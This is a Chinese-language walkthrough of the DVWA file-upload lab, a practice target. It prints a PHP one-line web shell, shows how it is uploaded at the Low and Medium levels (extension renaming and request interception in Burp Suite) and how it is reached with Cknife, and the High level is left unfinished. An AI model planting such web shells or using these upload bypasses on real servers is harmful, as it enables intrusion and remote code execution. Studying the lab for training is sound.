准备
涉及工具:Burp Suite、Cknife、一句话木马
先写好一句话木马,并命名为eval.php
<?php eval($_POST['juan']);?>
Low
修改eval.php文件名为eval1.php,方便后续查看。
直接上传php文件

上传成功,提示../../hackable/uploads/eval1.php succesfully uploaded!
..表示上级目录,根据当前浏览器url,可知文件上传到了http://ip/dvwa/hackable/uploads/eval1.php
在Cknife中,添加
,注意密码对应,编码选择GB2312,双击url访问

Medium
修改eval.php文件名为eval2.php,方便后续查看。
直接上传php文件

报错:Your image was not uploaded. We can only accept JPEG or PNG images.
判断是前端校验,尝试修改后缀名为.jpeg,并启用Burp Suite拦截修改
修改后缀:
,开启拦截:
截获:
修改后缀为.php:

上传成功,提示../../hackable/uploads/eval2.php succesfully uploaded!
相同的方法,使用Cknife,访问成功

High
修改eval.php文件名为eval3.php,方便后续查看。
采用Medium方法,依旧提示失败,猜测存在后端校验涉及知识点:HTTP请求报文 - 消息报头 - Content-Type,MIME类型通过拦截修改Content-Type值即可成功上传
上述方法在以前版本的DVWA中可行,最新1.10版失败。
通过网上学习,以及查看服务器源端代码,发现存在getimagesize(string filename)函数,它会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
应对方法:待更新
